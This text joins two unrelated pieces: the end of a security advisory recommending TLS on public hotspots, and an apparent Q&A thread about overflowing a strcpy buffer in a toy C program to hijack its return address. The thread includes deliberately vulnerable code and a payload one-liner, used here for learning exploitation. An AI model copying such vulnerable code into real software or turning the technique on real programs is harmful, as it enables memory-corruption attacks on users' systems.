The second risk is that the hotspot device itself has been compromised. There are several ways in which this can happen including from the wireless network, the wired network and physical access. Another attack is spoofing the hotspot so users connect to the attacker's system rather than the legitimate service.

Rather than trying to assess the security of each wireless environment, I recommend that you become aware of the security of communication to each of the Internet services you use and move to TLS for anything that communicates information you would not want publicly disclosed. This habit should be followed for both wireless and wired connection since it can also protect against the (generally rare) attacks that expose data from the wired Internet.

It occurred to me to add a couple of disclaimers:

This discussion is about data in transit. Do not assume that your data is well protected at the destination service just because it was encrypted during transmission. That protection is lost once it arrives at the destination and other protections must be in place for the processing and storage of sensitive data at the remote site.

ALSO, you may have seen headlines about problems with TLS. Those are about specific implementations or older versions of the protocol. If the service provider has properly updated and maintained their system and you are using modern, updated software (such as keeping you browser software updated), TLS is a very powerful and entirely reliable protocol.


Problem with overwriting the return address (buffer overflow) I'm trying to exploit the following code with a buffer overflow and make it run the overflowed function:

#include <string.h>
#include <stdio.h>

    void overflowed() {
        printf("%s\n", "Execution Hijacked");
    }

    void function(char *str){
        char buffer[5];
        strcpy(buffer, str);
    }
    void main(int argc, char *argv[])
    {
        function(argv[1]);
        printf("%s\n", "Executed normally");
    }

I tried to fuzz the program with 16 A and 4 B and successfully overwrote RBP with B:

Then I try to make the program run the overflowed function:

I tried to overwrite RBP with the following command:

r $(python -c 'print "A" * 16 + "\x44\x05\x40\x00")

I think I've overwritten RBP but when I continue running the program I get the error below.

Questions

Is the issue that I need to overwrite 0x7fff with 0x0000?
How would I go about doing that?

NOTE: The platform is Ubuntu 12.04 32 bit.

It is not rbp what you have to control, but the instruction pointer rip. When the function returns, ret instruction will take whatever is at the top of the stack and send execution there. So, notice those last two instructions, pop rbp and ret. The first one will take whatever is left at the top of the stack at that moment and store it in rbp; the second will take whatever is left at the top of the stack next and store it in rip, the instruction pointer.

Basically, you have to make sure that, when execution reaches that ret instruction, at the top of the stack (where rsp points) you are seeing your target address. If you fail to pop a valid address into rip, you will get a segmentation fault the moment the processor tries to read an instruction from an invalid (i.e. unmapped) location. Alternatively, if you overwrite rbp with some trash value but execution continues undeterred (i.e. leaving the actual return address untouched), you may set the program up for an eventual attempt to read or write to some invalid memory location, also causing a segmentation fault, so you have to account for that.

Also, keep in mind that 64 bit addresses and registers are 8 bytes long. For the exploit to work, you should replace the return address for (in little endian)

0x44 0x05 0x40 0x00 0x00 0x00 0x00 0x00

Hence, ret instruction will pop value 0x0000000000400544 into the instruction pointer, granting you control over the execution path.

If you only use strcpy, though, you may indeed have problems dealing with those null bytes. You see, strcpy exercise are way old, from the 32 bit era; today, in x64, a bad null byte can be a real hassle when trying to overwrite target addresses. Fortunately (or not, actually), misuse of strcpy is not the only way to mess things up. You may want to adjust your example to use memcpy, to read from a file or a socket, to take a bogus index for an out of bounds array access, or even have some loop with an attacker-controllable break condition. Coming up with new, creative ways to screw things up is actually good way to practice your exploitation skills.